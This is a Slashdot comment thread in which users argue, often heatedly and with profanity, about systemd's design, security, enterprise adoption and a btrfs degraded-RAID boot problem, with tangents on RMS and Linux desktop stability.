    SystemD could be the best piece of coding on this planet... but without documentation or assurance that this is something trustworthy, a major security hole can cause major trouble. Network connections mean remote root holes. Even without that, there is the problem of local privilege escalation, which I worry hasn't been thought of, much less engineered to deal with. If there is a major show-stopper in SystemD that allows remote root, this can kill Linux as a whole in the enterprise.

    This code was also forced on us, as in "you need to have SystemD on your job, or else you don't have a job". No transition time, no time to change applications to meet this, just "here you go. Deal with it. Better get used to binary logs, because it is that or nothing."

    So, as someone who uses Linux in the enterprise, SystemD is something that is resulting in a lot resentment, due to time spent with making build documents, workarounds for existing applications, procedures to make custom code work... all for relatively little benefit other than "hey, this is new and shiny, and you have to deal with it."

    1. Re:How about a request from an IT person... by Anonymous Coward · · Score: 0

      You are aware that all the network code is in a separate process, aren't you? That process is locked down really hard: E.g. it has access to a very limited set of capabilities, it can not write to /usr or /etc and can not even see anything in /home.

      Systemd makes it really simple to restrict the processes it starts. Most of the systemd code is in such restricted processes.

      I have never seen anybody bothering to implement similar restrictions in init scripts. For me systemd is a huge step forward wrt. security. And yes, I have worked with Linux in the enterprise for a long time:-)

    2. Re:How about a request from an IT person... by RavenLrD20k · · Score: 1

      So...answer me this: Once I set the init script how I want a service configured, who's going in as root behind me and putting security vulnerabilities into it (hint: Only one person has the root password, and root is only accessible directly from the console. sudo is disabled.)? Now, if I do yum update systemd or apt-get upgrade systemd what is my guarantee that Pottering or any one of the other 30-40 Devs touching systemd didn't put something into the blob that is reporting somewhere outside of my control? How do I know that there's not some timebomb in the blob that's going to collect critical keys and upload them to RedHat on the next time I update the repos? Read the code? I have my own code to audit, thank you very much, and I'd rather not have to audit my init system every time Lennart decides to post an update to systemd. It's bad enough when I have to do that with the Kernel modules.

    3. Re:How about a request from an IT person... by gweihir · · Score: 1

      You are ignoring his concerns. Typical propaganda tactics.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  11. Can someone explain what the huge debate is? by Anonymous Coward · · Score: 3, Insightful

    I've been using GnuLinux for aabout two years now, I've mostly stuck around the 'buntu/Debian detivatives: Elementary OS, Ubuntu Studio, Crunchbang, Mint, primarily because I use GnuLinux fkr work and those always require me to fiddle with them the least (though Elementary OD has really been getting on my nerves after constantly having broken packages added). I understand the need for a freedom of choice because there are things some of us use our computers differently for, but for the life of me I can't understand why the fuck everyone hates SystemD to this degree. Yeah it's not always the best and causes some pain between kernel developers and SystemD developers, but DEATH THREATS OVER A GOD DAMN COMPONENT THAT YOU DON'T EVEN NOTICE IN USERSPACE... WHY.

    1. Re:Can someone explain what the huge debate is? by Anonymous Coward · · Score: 1

      Let me use a TV analogy. What systemd is doing to linux is like taking the script from Seinfeld and replacing it with Two Broke Girls, yet keeping the Seinfeld cast and set and claiming that the change is inevitable and for the better -- even though the humor is an utter mismatch. All the while, the producers cheer the fundamental change because now they can appeal to the younger generation where the big advertising money is.

    2. Re:Can someone explain what the huge debate is? by IMightB · · Score: 2

      BadAnalogyGuy is that you?

    3. Re:Can someone explain what the huge debate is? by Dcnjoe60 · · Score: 1

      Let me use a TV analogy. What systemd is doing to linux is like taking the script from Seinfeld and replacing it with Two Broke Girls, yet keeping the Seinfeld cast and set and claiming that the change is inevitable and for the better -- even though the humor is an utter mismatch. All the while, the producers cheer the fundamental change because now they can appeal to the younger generation where the big advertising money is.

      No, what systemd is doing to linux is more like what a package manager does for installing software. If I apt-get install mypackage, it reads all of the dependencies and installs them. Of course, I could just manually go through and install of the dependencies. But, why?

      If you want to use a TV analogy, the title of the finale of STNG would be better All Good Thing [must come to an end]. STNG still was going strong at the time and even had contracts with the actors for an 8th season, but the producers realized that there wasn't a future in the series.

      Unix is over 40 years old. There are a lot of things done differently today than in the 70s. Computing needs have changed since then. If Linux wants to be relevant in the future, it needs to anticipate what future needs are instead of holding on to the past.

    4. Re:Can someone explain what the huge debate is? by phantomfive · · Score: 1

      but DEATH THREATS OVER A GOD DAMN COMPONENT THAT YOU DON'T EVEN NOTICE IN USERSPACE... WHY.

      You really have to ask? This is why. As long as death threats get attention, we will keep seeing them for that reason.

      --
      "First they came for the slanderers and i said nothing."
    5. Re:Can someone explain what the huge debate is? by sjames · · Score: 5, Interesting

      I WISH I didn't notice it in userspace.

      Some people run servers that MUST be up and running. They have no time for bullshit. They have no time to pick through a bazillion little config files when it's not up and running. They need the machine to just do what they tell it to and do it now. Systemd just thumbs it's nose at that. It does only a limited number of things and only in the way that it wants to do them. If that's not what you need done, too bad.

      The hate is amplified by the concerted effort to cram systemd down their throats. That's a perfectly understandable reaction IMHO.

      For example, I built a test machine with btrfs and set it up to mount in degraded mode such that even if a disk fails, it should still boot up. In production, it would email me that a disk failed and I could decide between replace the disk immediately or rebalance to make sure everything is still redundant.

      Systemd absolutely refuses to do it. It won't even attempt the mount command because it has decided that a drive isn't there and even though it is completely redundant systemd calls it a show stopper. Nobody can seem to tell me how to make systemd issue the mount command anyway (the systemd maioling lists have discussed that very problem wrt RAID and can't seem to solve the problem), nor can anyone give me a solution to make systemd ignore fstab entirely and run a script I wrote instead (a script that only needs one command, 'mount -a'). Apparently, you can't actually do that.

      Consider, RAID and similar are high availability features. Their whole reason to be is making sure the system is available even if a drive fails. Systemd single-handedly defeats that whole purpose by refusing to even try to mount the root filesystem. That's really a poor showing, but the insight it gives me into the project is even worse. It tells me that in spite of the importance of redundancy (some enterprises spend gadzillions on it) and the fact that it has worked well under SysVinit for over a decade, not one person on the systemd team even considered it. Not one. Now that it has been brought to their attention, they can't even come up with a workaround for it (see what I said above about do what I say and do it now). All I need is an unconditional 'mount -a' and apparently it can't be done. In spite of that, the various systemd boosters refuse to admit the problem even exists. I have even had a few claim it's a feature meant to protect my data.

      So there it is. It's not a matter of opinion, it's a simple boolean: "Did my system boot" and the objective answer is no. There is the followup, "how then, can I make systemd boot it" and the answer is [crickets].

      Fortunately, it was just a VM I stood up for testing and not an actual server that I needed up. As a quick test, I replaced systemd with sysVinit using apt and suddenly, it just worked.

      And that is why everyone is so keen on making sure nothing else becomes dependent on systemd.

    6. Re:Can someone explain what the huge debate is? by Sesostris+III · · Score: 1

      I get the sense that the systemd developers haven't had much experience of using Linux (or anything) in a production environment. That's fair enough, it's not their speciality. However, it should be incumbent upon them to accept feedback from those who do have that experience, and adjust systemd accordingly. I get the impression that is not happening.

      In other words they've guessed the Use Cases, not captured them.

      --
      You never know what is enough unless you know what is more than enough. - Blake
    7. Re:Can someone explain what the huge debate is? by sjames · · Score: 1

      I agree. It seems to me that they lack experience in general. More experience would teach them to either make the effort to capture the use cases or at least to build a toolset that could be configured to match use cases after the fact. It's a lot of effort just to produce one of the most actively hated pieces of software in the Free world.

    8. Re:Can someone explain what the huge debate is? by rdnetto · · Score: 1

      Making systemd ignore all of fstab is painful because you're trying to disable an entire 'feature'. (The inability to do so contributes to the perception that it's monolithic, but I digress.) What would probably work better is adding 'noauto' to the entry for the file system in question, then add a .service file that calls 'mount /mnt/whatever || true' - that way you can ignore the return code or handle it however you want.

      --
      Most human behaviour can be explained in terms of identity.
    9. Re:Can someone explain what the huge debate is? by sjames · · Score: 1

      That works for some cases (as long as the btrfs doesn't contain parts that systemd needs) but still fails when the root filesystem is btrfs (of course, then it's the kernel commandline that systemd refuses to just shut up and do in the initramfs). That's a bit ironic given that Lennart's big plan to replace package management would require btrfs as the root filesystem. :-)

      As I understand from the mailing lists, it has the same problem if the root filesystem is on a degraded RAID.

    10. Re:Can someone explain what the huge debate is? by TheSunborn · · Score: 1

      Interesting? Where is the bug report so this issue with btrfs can be fixed?

    11. Re:Can someone explain what the huge debate is? by sjames · · Score: 1

      All over their mailing list and in redhat's bugzilla. It's the same bug that prevenbts booting with a degraded RAID.

      Have a look at this. Complete with Lennart's usual attempt to pencil whip the bug away with a hasty close "notabug" only to have it re-opened. Report created in 2013, still status: assigned two years later.

      Then there's this. There is a reliable way to see if a btrfs can be mounted degraded. Try to mount it with -odegraded and see if it works!

      That would be easy in a system that didn't implement policy in code.

    12. Re:Can someone explain what the huge debate is? by Anonymous Coward · · Score: 0

      Your'e a moron if you think nobody will notice the cancer that is SystemDestruction. It's an automatic pain in the ass for sysadmins and programmers.

    13. Re:Can someone explain what the huge debate is? by ookaze · · Score: 1

      Consider, RAID and similar are high availability features. Their whole reason to be is making sure the system is available even if a drive fails. Systemd single-handedly defeats that whole purpose by refusing to even try to mount the root filesystem.

      At first reading, I was mislead by thinking you were talking about RAID and similar high availability features in general, which work far better with systemd and LVM than with sysvinit where it was a nightmare prone to break on any boot.
      Then I understood you were talking about these features inside btrfs.
      And that's where you're yet again one of these people spreading FUD on systemd by being ignorant, be it on purpose or not.
      How is software RAID and other features like it (like snapshots) handled on Linux? Yes, by one of several daemon, in the LVM package, that manage the state of the virtual devices. That's because, like was explained by the systemd developers, despite these features being implemented inside btrfs, the kernel still doesn't have enough states to give to userspace : the disk is either plugged or not.
      And this is not at all driven by systemd but by udev, which yes, is in the systemd repository.
      The issue here is that btrfs lacks the daemon to manage the virtual devices in userspace, and the kernel, if your btrfs RAID is degraded, say the disk is dead, thus why udev doesn't show the btrfs RAID as plugged, and thus why systemd doesn't mount it.
      All of this was explained, but you chose to spread FUD by blaming systemd as being shit and breaking userspace.
      It works with sysvinit because your script doesn't care for which disks are up or not, and will just break your setup any time some disk doesn't show up.

      That's really a poor showing, but the insight it gives me into the project is even worse. It tells me that in spite of the importance of redundancy (some enterprises spend gadzillions on it) and the fact that it has worked well under SysVinit for over a decade, not one person on the systemd team even considered it.

      This is a lie, btrfs didn't work well for a decade to begin with, btrfs is not even a decade old.
      This just shows up to what ends systemd haters are willing to go to spread FUD.
      And don't tell me RAID and SAN worked well with sysvinit, this would be another blatant lie.

      Now that it has been brought to their attention, they can't even come up with a workaround for it (see what I said above about do what I say and do it now). All I need is an unconditional 'mount -a' and apparently it can't be done. In spite of that, the various systemd boosters refuse to admit the problem even exists. I have even had a few claim it's a feature meant to protect my data.

      So there it is. It's not a matter of opinion, it's a simple boolean: "Did my system boot" and the objective answer is no. There is the followup, "how then, can I make systemd boot it" and the answer is [crickets].

      I described the real situation up there, and everything can be found in ML archives, so everyone can see that eveything you wrote there are blatant lies. It's scary at this point.
      Even the situation you described is wrong. You actually asked "Did my broken system boot?" and the objective answer is no. A good btrfs RAID would have booted, then even if a disk failed, it would stay functional. But it wouldn't boot in degraded state, just as most hardware RAID by default in fact.

    14. Re:Can someone explain what the huge debate is? by sjames · · Score: 1

      OH MY GOD you should be ashamed of yourself!

      It ios NOT udev. I knopw because when I used apt to switch from systemd to sysVinit, it started working exactly as intended and I was still using udev. Further, I have ben quite clear that the problem, exists for soft RAID as well. From that, a reasonable person might manage to guess that by worked for over a decade I am referring to a degraded raid or to the more general case of a degraded redundancy

      You are obviously deep into propaganda mode. Yes, the VM was broken. I fixed it by replacing systemd with sysVinit. It's just comical when you try to claim that soft RAID with sysVinit if fragile. Did your face at least turn a little red when you said that or are you entirely without shame?

  12. Not a laughing matter! by Anonymous Coward · · Score: 0

    Uh huh, good one Lennart. You could give Dave Allen a run for his money.

  13. First, init - systemd. by msauve · · Score: 1

    What's next? Replace coreutils with busybox? When will we have a single binary Linux install?

    --
    "National Security is the chief cause of national insecurity." - Celine's First Law
    1. Re:First, init - systemd. by drinkypoo · · Score: 2

      What's next? Replace coreutils with busybox? When will we have a single binary Linux install?

      We should arguably have a static busybox providing commands in /bin and the coreutils utils in /usr for after /usr is mounted, to accomodate users with a separate /usr partition. And a static classic bourne shell in /bin too, and a dynamic classic one in /usr/bin, for those times when you don't need the complexity of bash. Which is, you know, most of the time — at least, for automated scripts.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  14. 'We Do Listen To Users' ?? by Anonymous Coward · · Score: 1

    Really ?

    Who do they really listen to ? THEMSELVES !!

  15. Compare to RMS, what are you? by Taco+Cowboy · · Score: 0

    RMS is far from perfect, very very far from perfect, but at the very _least_ the guy did create something

    What about you?

    --
    Muchas Gracias, Señor Edward Snowden !
    1. Re:Compare to RMS, what are you? by Anonymous Coward · · Score: 1

      I farted once on the set of the Blue Lagoon.

    2. Re:Compare to RMS, what are you? by Anonymous Coward · · Score: 0

      How is this question relevant to anything? Are you saying that, in order to criticize something, you must be greater or have done more? Sounds like defensive fanboy protectionist bullshit to me.

    3. Re:Compare to RMS, what are you? by Anonymous Coward · · Score: 1

      I created Bitcoin

    4. Re: Compare to RMS, what are you? by Anonymous Coward · · Score: 0

      He created a recipe for toe jam.

    5. Re:Compare to RMS, what are you? by hairyfeet · · Score: 1, Flamebait

      He could have created The Washington Monument, that does NOT change the fact that the whacko thought it was perfectly acceptable to sit down ON STAGE no less and ATE TOE CHEESE in front of God and everybody!

      Ya know just because somebody was ONCE an insightful person does not mean that they will always be insightful, hell or even sane for that matter. Here we have a person that shows he has no concept of correct public behavior, openly brags about being a homeless squatter, and his views are often frankly self contradictory and don't follow logic (see his "what is a circuit" for some truly amazing logic hoop jumping) and the man doesn't even have the grace or good sense not to piss on his own license by having a childish tantrum and naming a clause after a company he believed didn't uphold "the spirit" of the GPL instead of simply admitting he made errors when coming up with GPL V2. Any way you slice it the man is the best poster child MSFT and Apple ever had, he looks, dresses, and behaves like its 1979 and computers are just toys for homebrew clubs and academia.

      As for TFA? Sadly Pottering is another one that MSFT and Apple really should send a fruit basket to, because its him and the devs of his ilk that keep Linux in the backroom instead of the showroom and the reason why is simple...they will NEVER EVER let Linux become fucking stable! I swear these devs and their "itch scratching" are from bizarro world, they are like "Oh noes, things am stable and most stuff am working! This is no good, users am happy and can update without breakage! Quick lets change enough internals that many devices am broken and stability worse than Win2K, that will make users miserable!".

      I mean for fucks sake you had MSFT being run by STEVE "Buzzword McBingo" BALMER and you STILL can't gain share, ever wonder why? Well you had the DE devs help out MSFT by taking a steaming dump on the UI with the barely alpha quality KDE 4 release, The Gnome 3 mess, or yeah and Linus made sure to fiddle with the kernel just enough to cause serious driver issues, not to mention the Mickey Mouse Pulse audio which to this very day is usually the most crash prone part of any Linux build. Then you had the whole "What is gonna replace the shitty X Server" mess, Mozilla having to disable hardware acceleration in Linux (which frankly is still piss poor and a decade behind Windows), not to mention here it is 2015 and Linux STILL doesn't have a simple GUI for rolling back drivers or the system if an update takes a steamer on the system (something Windows has had for a decade and a half) and the driver situation is still such a mess hardware OEMs can't just put a penguin on the box and a Linux driver on a CD because hey, what works now may not work 6 months from now!

      Sadly at the end of the day Linux is never gonna get any better, its just gonna get different. This is why Linux is getting its ass handed to it by "other" because at the end of the day the devs would rather crank out a new version with new bugs and new problems than fix what they have. Cranking out new software is a hell of a lot more enjoyable than bug fixing, regression testing, writing docs, hell this is the real reason why Linus won't allow Linux to have a stable driver ABI, something every. other. OS. has. because it might mean he couldn't just tweak and twiddle with the kernel like its still 1993 and Linux was only a hobbyist project!

      Its a damned shame that FOSS advocates won't hold Linux to the same standards they hold MSFT and Apple, if they flat up refused to take the Mickey Mouse alpha quality shit you could probably whip Linux into an OS that would make Windows 10 look like Windows 3 and OSX look like System 7, all the parts are there, if the devs would actually work to make things better instead of crapping out new versions every other year.

      --
      ACs don't waste your time replying, your posts are never seen by me.
    6. Re:Compare to RMS, what are you? by quantaman · · Score: 1, Insightful

      As for TFA? Sadly Pottering is another one that MSFT and Apple really should send a fruit basket to, because its him and the devs of his ilk that keep Linux in the backroom instead of the showroom and the reason why is simple...they will NEVER EVER let Linux become fucking stable! I swear these devs and their "itch scratching" are from bizarro world, they are like "Oh noes, things am stable and most stuff am working! This is no good, users am happy and can update without breakage! Quick lets change enough internals that many devices am broken and stability worse than Win2K, that will make users miserable!".

      I mean for fucks sake you had MSFT being run by STEVE "Buzzword McBingo" BALMER and you STILL can't gain share, ever wonder why? Well you had the DE devs help out MSFT by taking a steaming dump on the UI with the barely alpha quality KDE 4 release, The Gnome 3 mess, or yeah and Linus made sure to fiddle with the kernel just enough to cause serious driver issues, not to mention the Mickey Mouse Pulse audio which to this very day is usually the most crash prone part of any Linux build. Then you had the whole "What is gonna replace the shitty X Server" mess, Mozilla having to disable hardware acceleration in Linux (which frankly is still piss poor and a decade behind Windows), not to mention here it is 2015 and Linux STILL doesn't have a simple GUI for rolling back drivers or the system if an update takes a steamer on the system (something Windows has had for a decade and a half) and the driver situation is still such a mess hardware OEMs can't just put a penguin on the box and a Linux driver on a CD because hey, what works now may not work 6 months from now!

      Sadly at the end of the day Linux is never gonna get any better, its just gonna get different. This is why Linux is getting its ass handed to it by "other" because at the end of the day the devs would rather crank out a new version with new bugs and new problems than fix what they have. Cranking out new software is a hell of a lot more enjoyable than bug fixing, regression testing, writing docs, hell this is the real reason why Linus won't allow Linux to have a stable driver ABI, something every. other. OS. has. because it might mean he couldn't just tweak and twiddle with the kernel like its still 1993 and Linux was only a hobbyist project!

      I think you have it backwards.

      The stability you're arguing for is a feature for servers, an area where Linux traditionally does well.

      To get the penetration into userland you want you need the new features, you need attempts to support buggy new hardware that was written to work under Windows and has weird behaviour in other places.

      As for the topic at hand Systemd helps fix the problems you're talking about. Part of the bugginess is from different systems interacting and the amount of complexity those devs have to deal with. Systemd takes a chunk of that complexity away from those systems and moves it down one level. Even if the critics are right and this is a disaster for servers it should still improve stability in userland.

      --
      I stole this Sig
    7. Re:Compare to RMS, what are you? by Anonymous Coward · · Score: 0

      I am amazed your comment was moderated as insightful. Who cares if he ate toe cheese? I fart, pick my ass, sometimes even pick my nose at work. The rest of your comment is a rambling mess about entirely unrelated topics. All in all, pretty good proof of a real condition called RMSDS!

      RMS's contributions to the world are so profound and far-reaching that he will be remembered and revered for centuries to come. There's nothing you can do about that, except accept it and stop tearing him down for simply making the world a much better place for all of us.

    8. Re:Compare to RMS, what are you? by Sardaukar86 · · Score: 1

      I don't think your comment is flamebait regardless of whatever groupthink the mods are engaged in today. Stallman may be worthy of respect but IMHO he is not a desirable poster-child for F(L)OSS for many of the reasons you outline; that should be obvious to most of us. However - and more germane to the discussion - I think your comments regarding Linux's lack of progress on the Desktop are insightful although it's a little uncomfortable to have it boiled down so succinctly. I guess I must be in some mild form of denial about the software and my passion for seeing its usage spread.

      I love Linux and use it everywhere, everywhere. Everywhere except the desktop, that is. Whilst I'm very out of date and I'm quite sure that things have since improved, I've been thoroughly turned off by Linux employed in anything other than a server or infrastructure role.

      I've tried to love Linux on the desktop over many years and so far the love has been unrequited. I've been through the usual suspects (Debian, Redhat, Ubuntu, CentOS and a couple of other distros from yesteryear) but have never managed to build a desktop environment that didn't piss me off or get in the way of doing useful work. Even with a nice OSS suite of Gimp, TB/FF, LibreOffice, etc., I experienced continual distractions from niggly little problems and found my general level of frustration to be higher than with Windows. Audio glitched out frequently. Updates broke stuff. Icons would disappear. Newly-installed software would commonly fail to create icons or shortcuts. Browser plugins would shit themselves regularly. There were of course days when everything was plain sailing but even then it felt a little precarious. I did spend a bit of money ensuring I had all my hardware right and in all honesty this did help, but not enough to change the feeling of general instability and the sensation of things being rough-around-the-edges. I'm no shrinking violet when it comes to the command line but even then I've had plenty of time sapped playing whack-a-mole with trivial annoyances.

      Windows comes complete with its own Halls of Suck to traverse but MS have at least sorted out most of the stuff that really gets in the user's way. I honestly tried to move to Linux because I wanted to practice the FLOSS philosophy I preached, but Windows, to my chagrin, always re-emerged as the right tool for the job in my case. It should be mentioned for full disclosure that I managed to avoid Vista altogether, which goes a long way to explaining why my Windows experience has been reasonably good.

      Maybe Linux is simply not suited to the mass-appeal desktop GUI market? I'd say with the phenomenal success of Android on various devices in production today, such a concession may not be such a hard one to make. It's no loss for FLOSS if there never is a Year of the Linux Desktop when we're squarely in an age of Linux on the Handheld.

      --
      ..Mullah or Pope, Preacher or Poet, who was it wrote: "Give any one species too much rope and they'll fuck it up"?
    9. Re: Compare to RMS, what are you? by Anonymous Coward · · Score: 0

      I am just amazed at how someone can get something so factual so factually wrong. Linux *is* stable, whether in user server or mobile land. Systemd does not fix problems, but it creates many new ones that may be well known to Windows users, but are unheard of and brought on in a way that is downright insane on Linux. Such as having to restart the system to update some module, or to essentially keep all the system hinging on one process ***aaarrrrgh**** how that happened ia quite unclear to me, but it sure hints at a thing or two about the sorry state of engineering expertise out their in the wild.

    10. Re:Compare to RMS, what are you? by hairyfeet · · Score: 1

      Actually only getting labeled flamebait is an improvement, I turned down a chance recently to write a "devil's advocate" style column for a Linux magazine because I got tired of death threats and cyberstalking, so a little name calling? Not that big a deal.

      What pisses me off is they act like I have some sort of axe to grind when the reality is the opposite...I WANT Linux to work on the desktop, I WANT to be able to hand my customers a shiny new desktop with a brand new Linux distro and be confident that it'll run with security updates for the life of the system...but I can't. Do you have ANY idea how many perfectly good systems I dumped because the cost of Windows would be more than the unit was worth? You name the distro I tried it, and it never failed, they ALWAYS shit all over themselves. I even spent a not inconsiderable amount of time coming up with "The Hairyfeet Challenge" so that there would be an easily reproducible way to show even the most zealot FOSS advocate the areas that were horribly broken.

      At the end of the day Linux works great on the server and the reason why is simple, you strip out the most broken parts (like sound and wireless) and its administered by someone with a degree and/or years of diagnostic troubleshooting experience. And the reason it works on Android is simple, Google took control away from the "itch scratchers" and put in place actual standards. The sad part is there is no reason why Linux couldn't be a world class desktop PC OS, couldn't be loaded onto HTPCs and laptops in every B&M on the planet but sadly as long as the so called "advocates" take alpha quality code and attack those that point out the issues? Its just never gonna get any better, it'll start to get stable and then get knocked back down.

      Meanwhile guys like me will have to junk perfectly working PCs that have years of life left because the cost of Windows is more than the PC is worth and that is just a damned shame.

      --
      ACs don't waste your time replying, your posts are never seen by me.
    11. Re:Compare to RMS, what are you? by Sesostris+III · · Score: 1

      I think one of the biggest missed opportunities for Linux was not coming up with a suitable replacement for XP.

      Those on XP (and still on XP) just want (and had) something that 'worked'. A suitable Linux distro, that 'looked' and 'felt' like XP, and was as stable as XP (SP3), but could run the latest 'application' software like XP (browser, email client, office package) could've gained traction. Something rock-solid, stable and safe. Unfortunately not to be.

      (And I don't know why you were labelled 'flamebait' either.)

      --
      You never know what is enough unless you know what is more than enough. - Blake
    12. Re: Compare to RMS, what are you? by Anonymous Coward · · Score: 0

      no he's sayin unless your adding back to the community like RMS did to help grow it. if not you can fuck off cuz most are just jealous of RMS. they wish they had the balls he had. instead we are stuck wit a bunch of "men treat woman bad boooo hooooo hooooo" it's 2015 get over your fucking self. the only people who get what they want are people with power, no matter if they r black white red or yellow , male or female. power == godmode.

    13. Re:Compare to RMS, what are you? by hairyfeet · · Score: 1

      Vista was practically a free gift to Linux, MSFT put out OSes that were truly dispised and what did the developers do? A perfect example of why Linux never goes anywhere, they said "Well things are pretty stable and solid, let's rip out the audio subsystem for a broken mess and replace the DEs with alpha quality code that will make Linux as buggy as Windows 98!"...facepalm.

      Lets be honest here...the FOSS advocates claimed Elop was a "plant" well what is THEIR excuse? If you managed to get a plant at every major distro there is NOTHING they could have done to sabotage Linux any better than the actual developers did! Every single time MSFT puts out a major bomb like Vista or Windows 8? Some genius decides THAT is the perfect time to make a major dump on some vital system!

      You should try the "Hairyfeet Challenge" sometime, as it perfectly illustrates why Linux is BROKEN, because it only asks that the distro perform half, just half, of a Windows lifecycle, can any distro do it? Nope in fact the only time I had a FOSS advocate claim they had "passed" the challenge they 1.- Had to use SciLinux, a distro designed for research labs and thus broke the very. first. condition of the challenge and then if that wasn't sad enough? When asked about the other conditions of the challenge he admitted that 2.- Sound didn't work, another fail, and 3.-His wireless not only took major CLI to get working but couldn't get WPA or even WEP to work!

      That is why I'm really not surprised about the mods and insults, because even when faced with something as basic as "Get your OS to update without breaking itself" is shown to not be possible, do they say "Wow, that is just terrible! We should demand better, why Windows has been able to update itself without crapping on its own drivers since Win2K!" they instead call me every filthy name in the book, send me death threats, and having one FOSSie follow me for 6 months just so he could post at every site I use "die you fat fucker die". Seriously look at the challenge yourself, should we consider an OS to be suitable for purpose if it can't even pass such a simple test?

      Take ANY mainstream consumer oriented (not LTS, because even Ubuntu advises against mainstream users using LTS) from FIVE years ago, this simulates a 5 year typical lifecycle. This BTW is less than HALF a windows support cycle, so I'm cutting linux a break. Lets say you use Ubuntu, that would be Ubuntu 9.10 and can be downloaded from their archive. Install it on ANY PC, desktop or laptop (NOT VM as that isn't real hardware and comes with special drivers) that has a wireless card. Wireless is required because more and more mainstream users are ditching wires and nobody wants a laptop that doesn't have wireless, do they?

      During this phase you are the system builder so CLI (which is usually required because Linux driver support is poor) IS ALLOWED. Once its installed you are no longer the system builder but THE USER, so like a windows user you are ONLY allowed to use the GUI. You then get to "enjoy the freedom" of using nothing but the GUI (because if you can't even update the thing without CLI you're no match for windows are you) of updating to current...with ubuntu that is SEVEN RELEASES, just FYI. You will film this and post it to youtube, you only have to upload the final install process of each release and a pic of the device manager showing working hardware complete with wireless showing WPA V2 connection, but the complete video should be hosted on dropbox to prove you aren't faking it.

      I've tried every major Linux distro, PCLOS, Ubuntu, even Fedora because one fanboy swore that Fedora could pass, yet here it is, 8 years since I first issued the challenge and not. a. single. distro. has had a 100% pass. Not one. And that is just sad.

      --
      ACs don't waste your time replying, your posts are never seen by me.
  16. Re:Lennart, do you listen to sysadmins? by Barsteward · · Score: 1

    "Well, do you actually take on board the concerns of system administrators and enterprise users?" - what do you class RHEL as?

    "doesn't try to replace several layers of server side system functionality such as logging?" - configure it to use rsyslog if you want, its YOUR choice and set the journald output to "don't save data"

    I can't be assed to answer the rest of your post, you need to do some research and perhaps reread the interview.

    --
    "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
  17. I tried systemd out. by Anonymous Coward · · Score: 0

    On Debian Wheezy, you can update from init to systemd with two apt-get commands. So I did it in a QEMU virtual machine.

    My virtual machine booted up in under 2 seconds. Flames did not fall out of the sky, demons did not belch forth from the recesses of the earth, and my Linux environment was not otherwise different. I then shut down the VM, and it shut down in under a second. I do miss the "Will now halt..." message but I can live without.

    I get the feeling the systemd haters are curmudgeons who don't want to learn anything different, even though they probably got into Linux to learn something different in the first place.

    1. Re:I tried systemd out. by ledow · · Score: 1

      Because when you rip-out the entire init system, your ONLY concern is bootup and shutdown speed, isn't it?

      Silly boy.

      And, your experience is not necessarily generalised. Many people who do the above on working systems have ended up with non-working systems. And those who customise their machines rather than use only stock installs are also likely to fall afoul of other problems, aren't they? And, just because it boots faster, does not mean it boots reliably does it (many have reported that boots become faster but sometimes unpredictable - or even unbootable - because of various timing / dependency issues)? And even if the software is wonderful and does all the above, it doesn't mean that it's actually better for even a minority of users.

      You've considered only the desktop aspect, in a perfect virtual machine, from a clean distro (by the sounds of it), in one instance.

      Something tells me, replacing the entire Linux init-system globally might just possibly generate more problems than your contrived example. No?

    2. Re:I tried systemd out. by Anonymous Coward · · Score: 0

      Please try changing the systemd to other init system on Jessie. The system does boot, but suddenly it is quite useless. All the things such as automounting usb sticks/sdcard, laptop hotkeys, suspend, functional nfs unmount, etc are suddenly gone. I would not care less for systemd, if I could still use the alternatives.

    3. Re:I tried systemd out. by Anonymous Coward · · Score: 0

      Well, the init system doesn't really do much except respawn gettys, react to power events, and do the whole runlevel switching stuff. Hardly super scary to rip out.

      I think it taking over the functionality of syslog, cron and udev is much more "scary" - but syslog and udev are pretty scary on their own. I know Unix loves to "do one thing and do it well" and I think recognizing and taking action on system-level events is one thing, and systemd can do it well.

      Regarding what the "aggressive-paralellism" brings to booting a system, I agree. I've had to disable the newer "makefile-style" concurrent boot on some of my server systems.

  18. Getting bathwater with the baby... by Junta · · Score: 5, Insightful

    I can understand the perspective that a single repository for more of the userspace resembles the *development* of traditional Unix systems, the argument made is usually not about where it is developed, but reducing the principle of having small simple utilities with straightforward interactions with other componets. For example, Most traditional Unix systems have terrible implementations of a shell interpreter and things like fileutils. It is an awkward, but not too terrible a situation since you can replace that stuff with GNU equivalents trivially without horribly breaking the OS. An administrator that understands enough to write scripts can discern the nature of interaction even if that administrator isn't a full-on software developer. systemd design trends in many ways toward requiring someone needing to dig in to have more development competency than previous designs. As a developer, I understand the attraction of some of the architecture choices, but I think they lose perspective of what it's like to be an administrator on the ground. Someone who doesn't live and breath your code has a harder time wrapping their heads around how it should be working when something requires customization, replacement, or debug.

    In general, systemd is all-or-nothnig about a lot of things. They figure out a way to achieve what could be considered a sensible goal, but then go about it in highly disruptive ways. The sense is they throw up their hands and say 'well, this is the only way to do it, and it's worth it' rather than rethinking how the end could be achieved in a less disruptive way.

    --
    XML is like violence. If it doesn't solve the problem, use more.
    1. Re:Getting bathwater with the baby... by Anonymous Coward · · Score: 1

      Yep. Gentoo forked udev to eudev, and LFS adopted the latter, because installing just udev involved grabbing the whole systemd tarball, and extracting the udev pieces. And how you did the extraction changed with the whim of Poettering and Sievers, so forget about automating it.

    2. Re:Getting bathwater with the baby... by Anonymous Coward · · Score: 0

      In general, you're full of shit, systemd components are interchangeable. Just because the one thing you don't want (journald) is a requirement of systemd init doesn't mean it's a giant monolithic blob, and in any case you can make journald use the normal logging interfaces anyway.

      And half the point of systemd is reducing the amount of configuration you have to do. So no, it doesn't mean you HAVE to be a C programmer to manage a Linux server. All you have to do is relearn how to write init scripts, which tbh isn't a big deal.

  19. not unix by Mirar · · Score: 4, Insightful

    Isn't the main problem that while systemd might solve problem, it's sharply going away from the simple solution that worked to make Unix good?

    Systemd isn't simple. If it's not simple, I don't think I want it on my Linux.

    PA and Gnome isn't simple either. And creating more problems (albeit while solving others). I believe the same thing will be true about systemd.

    1. Re:not unix by Etzos · · Score: 1

      Some things about a system need to be complicated. A lot of the problems that components of systemd solve are non-trivial problems. Ergo, parts of systemd need to be complicated.

      The "simple solution" argument really loses steam when you think about the kernel. It's not exactly a simple piece of code. It's complicated. With many different parts that do many different things. Is the kernel a problem? No. It's complicated because it needs to be so, just as systemd must be.

    2. Re:not unix by Anonymous Coward · · Score: 0

      X is not simple, if it is not simple... ?
      Wayland is not simple, if it is not simple... ?

